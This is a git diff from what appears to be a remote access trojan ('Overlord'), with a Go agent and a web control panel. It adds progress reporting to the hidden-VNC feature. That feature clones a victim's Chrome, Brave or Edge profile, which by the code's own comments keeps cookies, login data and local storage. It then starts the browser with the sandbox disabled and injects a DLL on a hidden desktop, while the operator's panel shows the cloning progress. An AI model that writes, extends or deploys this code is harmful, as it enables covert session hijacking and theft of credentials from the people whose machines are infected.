diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go index 2ca4757..d2f2993 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -12,6 +12,8 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { return errors.New("HVNC injection not supported on this platform") } -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error { +type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) + +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error { return errors.New("HVNC injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index d232250..283f3fc 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -30,6 +30,8 @@ var ( var advapi32 = syscall.NewLazyDLL("advapi32.dll") +type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) + const ( PROCESS_CREATE_THREAD = 0x0002 PROCESS_QUERY_INFORMATION = 0x0400 @@ -118,7 +120,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl // If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is false, it starts the browser with injection but no path redirection. // browser should be one of: "chrome", "brave", "edge". -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error { info, ok := browserInfoMap[strings.ToLower(browser)] if !ok { return fmt.Errorf("unknown browser %q", browser) @@ -142,7 +144,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } log.Printf("hvnc %s: real user data at %s", info.name, realUserData) - cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite) + cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress) if err != nil { return fmt.Errorf("profile clone failed: %v", err) } @@ -153,7 +155,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c // StartHVNCChromeInjected is kept for backward compatibility. func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false) + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, nil) } type browserInfo struct { @@ -225,7 +227,7 @@ func getBrowserUserDataDir(info browserInfo) string { // cloneBrowserProfile clones the browser user data directory, skipping only // large cache directories that aren't needed for a functional session. // This preserves extensions, cookies, login data, local storage, etc. -func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (string, error) { +func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) { prefix := "hvnc_" + strings.ToLower(browserName) + "_" // Remove any previous cloned profile directories so we always use fresh data tmpDir := os.TempDir() @@ -290,6 +292,32 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (str return "", fmt.Errorf("read user data dir: %v", err) } + // Calculate total size for progress reporting + var totalBytes int64 + if onProgress != nil { + onProgress(0, 0, 0, "scanning") + totalBytes = calcCloneSize(srcUserData, skipDirs) + onProgress(0, 0, totalBytes, "cloning") + } + + var copiedBytes int64 + lastPercent := -1 + + reportProgress := func(n int64) { + if onProgress == nil || totalBytes <= 0 { + return + } + copiedBytes += n + pct := int(copiedBytes * 100 / totalBytes) + if pct > 100 { + pct = 100 + } + if pct != lastPercent { + lastPercent = pct + onProgress(pct, copiedBytes, totalBytes, "cloning") + } + } + for _, entry := range entries { name := entry.Name() src := filepath.Join(srcUserData, name) @@ -299,28 +327,98 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (str // For profile directories (Default, Profile N), clone contents but skip caches inside isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ") if isProfile { - if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil { + if err := cloneProfileDirProgress(browserName, src, dst, skipDirs, reportProgress); err != nil { log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err) } } else if !skipDirs[strings.ToLower(name)] { // Top-level non-profile directories (e.g. "Crashpad" skip, but keep others) - if err := copyDir(src, dst); err != nil { + if err := copyDirProgress(src, dst, reportProgress); err != nil { log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err) } } } else { // Top-level files (Local State, etc.) - if err := copyFile(src, dst); err != nil { + n, err := copyFileCount(src, dst) + if err != nil { log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) + } else { + reportProgress(n) } } } + if onProgress != nil { + onProgress(100, totalBytes, totalBytes, "done") + } + return cloneBase, nil } -// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs. -func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error { +// calcCloneSize walks the source user data directory and returns the total +// byte count of files that would be copied (respecting skipDirs). +func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 { + var total int64 + entries, err := os.ReadDir(srcUserData) + if err != nil { + return 0 + } + for _, entry := range entries { + name := entry.Name() + p := filepath.Join(srcUserData, name) + if entry.IsDir() { + isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ") + if isProfile { + total += calcProfileSize(p, skipDirs) + } else if !skipDirs[strings.ToLower(name)] { + total += calcDirSize(p) + } + } else { + if info, err := entry.Info(); err == nil { + total += info.Size() + } + } + } + return total +} + +func calcProfileSize(dir string, skipDirs map[string]bool) int64 { + var total int64 + entries, err := os.ReadDir(dir) + if err != nil { + return 0 + } + for _, entry := range entries { + name := entry.Name() + p := filepath.Join(dir, name) + if entry.IsDir() { + if !skipDirs[strings.ToLower(name)] { + total += calcDirSize(p) + } + } else { + if info, err := entry.Info(); err == nil { + total += info.Size() + } + } + } + return total +} + +func calcDirSize(dir string) int64 { + var total int64 + filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if !info.IsDir() { + total += info.Size() + } + return nil + }) + return total +} + +// cloneProfileDirProgress copies a profile directory with progress reporting. +func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]bool, report func(int64)) error { if err := os.MkdirAll(dst, 0700); err != nil { return err } @@ -337,39 +435,42 @@ func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) err if skipDirs[strings.ToLower(name)] { continue } - if err := copyDir(s, d); err != nil { + if err := copyDirProgress(s, d, report); err != nil { log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) } } else { - if err := copyFile(s, d); err != nil { + n, err := copyFileCount(s, d) + if err != nil { log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) + } else { + report(n) } } } return nil } -func copyFile(src, dst string) error { +func copyFileCount(src, dst string) (int64, error) { in, err := os.Open(src) if err != nil { - return err + return 0, err } defer in.Close() if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil { - return err + return 0, err } out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { - return err + return 0, err } defer out.Close() - _, err = io.Copy(out, in) - return err + n, err := io.Copy(out, in) + return n, err } -func copyDir(src, dst string) error { +func copyDirProgress(src, dst string, report func(int64)) error { return filepath.Walk(src, func(path string, info os.FileInfo, err error) error { if err != nil { return nil // skip errors @@ -379,7 +480,11 @@ func copyDir(src, dst string) error { if info.IsDir() { return os.MkdirAll(target, 0700) } - return copyFile(path, target) + n, err := copyFileCount(path, target) + if err == nil { + report(n) + } + return err }) } @@ -435,9 +540,9 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) ( } args := " --window-position=0,0" browserExes := map[string]bool{ - "chrome.exe": true, - "brave.exe": true, - "msedge.exe": true, + "chrome.exe": true, + "brave.exe": true, + "msedge.exe": true, } if browserExes[strings.ToLower(filepath.Base(filePath))] { args += " --no-sandbox --allow-no-sandbox-job --disable-gpu" diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index aba2dab..1d602e2 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1366,7 +1366,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_browser_injected", nil, func() { - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil { + var onProgress capture.CloneProgressFunc + if clone { + onProgress = func(percent int, copiedBytes, totalBytes int64, status string) { + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{ + Type: "hvnc_clone_progress", + Browser: browser, + Percent: percent, + CopiedBytes: copiedBytes, + TotalBytes: totalBytes, + Status: status, + }) + } + } + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index e74d6be..b272994 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -198,3 +198,12 @@ type WebcamDevices struct { Devices []WebcamDevice `msgpack:"devices"` Selected int `msgpack:"selected"` } + +type HVNCCloneProgress struct { + Type string `msgpack:"type"` + Browser string `msgpack:"browser"` + Percent int `msgpack:"percent"` + CopiedBytes int64 `msgpack:"copiedBytes"` + TotalBytes int64 `msgpack:"totalBytes"` + Status string `msgpack:"status"` +} diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 92df2f3..b7d5246 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -206,6 +206,51 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } } + const cloneProgressEl = document.getElementById("cloneProgress"); + const cloneProgressBar = document.getElementById("cloneProgressBar"); + const cloneProgressPct = document.getElementById("cloneProgressPct"); + const cloneProgressLabel = document.getElementById("cloneProgressLabel"); + let cloneHideTimer = null; + + function handleCloneProgress(msg) { + if (!cloneProgressEl) return; + const pct = Math.min(100, Math.max(0, Number(msg.percent) || 0)); + const status = msg.status || ""; + const browser = msg.browser || ""; + const totalMB = ((Number(msg.totalBytes) || 0) / (1024 * 1024)).toFixed(1); + const copiedMB = ((Number(msg.copiedBytes) || 0) / (1024 * 1024)).toFixed(1); + + if (cloneHideTimer) { + clearTimeout(cloneHideTimer); + cloneHideTimer = null; + } + + if (status === "done") { + cloneProgressBar.style.width = "100%"; + cloneProgressPct.textContent = "100%"; + cloneProgressLabel.textContent = `${browser} clone complete`; + cloneHideTimer = setTimeout(() => { + cloneProgressEl.classList.add("hidden"); + cloneProgressEl.classList.remove("flex"); + }, 3000); + return; + } + + cloneProgressEl.classList.remove("hidden"); + cloneProgressEl.classList.add("flex"); + + if (status === "scanning") { + cloneProgressBar.style.width = "0%"; + cloneProgressPct.textContent = "…"; + cloneProgressLabel.textContent = `Scanning ${browser} profile`; + return; + } + + cloneProgressBar.style.width = `${pct}%`; + cloneProgressPct.textContent = `${pct}%`; + cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`; + } + function sendCmd(type, payload) { if (!activeClientId) { console.warn("No active client selected"); @@ -542,6 +587,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleStatus(msg); return; } + if (msg && msg.type === "hvnc_clone_progress") { + handleCloneProgress(msg); + return; + } return; } @@ -550,6 +599,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleStatus(msg); return; } + if (msg && msg.type === "hvnc_clone_progress") { + handleCloneProgress(msg); + return; + } }); ws.addEventListener("open", function () { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 8007c5b..d2f9ca6 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -131,7 +131,7 @@ export function createRenderer({ card.dataset.id = client.id; card.dataset.hwid = client.hwid || ""; let longPressTimer = null; - let longPressTriggered = false; + card._longPressTriggered = false; let pointerStartX = 0; let pointerStartY = 0; @@ -158,12 +158,12 @@ export function createRenderer({ const clientId = card.dataset.id; if (!clientId) return; - longPressTriggered = false; + card._longPressTriggered = false; pointerStartX = e.clientX; pointerStartY = e.clientY; clearLongPress(); longPressTimer = setTimeout(() => { - longPressTriggered = true; + card._longPressTriggered = true; openMenu(clientId, e.clientX, e.clientY); }, TOUCH_LONG_PRESS_MS); }); @@ -317,8 +317,8 @@ export function createRenderer({ ?.addEventListener("click", () => openModal(client.thumbnail)); card.onclick = (e) => { - if (longPressTriggered) { - longPressTriggered = false; + if (card._longPressTriggered) { + card._longPressTriggered = false; e.preventDefault(); e.stopPropagation(); return; diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index b8074c7..cb0f88a 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -259,16 +259,20 @@ function hideSubmenu() { ctxMain.querySelectorAll(".ctx-row").forEach(r => r.classList.remove("ctx-active")); } -// Desktop: hover to open group +function isMobileMenu() { + return window.matchMedia("(max-width: 600px)").matches; +} + ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => { rowEl.addEventListener("mouseenter", () => { + if (isMobileMenu()) return; const groupId = rowEl.dataset.groupToggle; if (groupId) showSubmenu(groupId, rowEl); }); }); // Debounced hide — prevents the 5px gap between panels from closing the submenu -function scheduleHide() { _hideTimer = setTimeout(hideSubmenu, 150); } +function scheduleHide() { if (!isMobileMenu()) _hideTimer = setTimeout(hideSubmenu, 150); } function cancelHide() { clearTimeout(_hideTimer); _hideTimer = null; } ctxMain.addEventListener("mouseleave", scheduleHide); diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 92e290c..0de3adc 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -88,6 +88,17 @@ Connecting +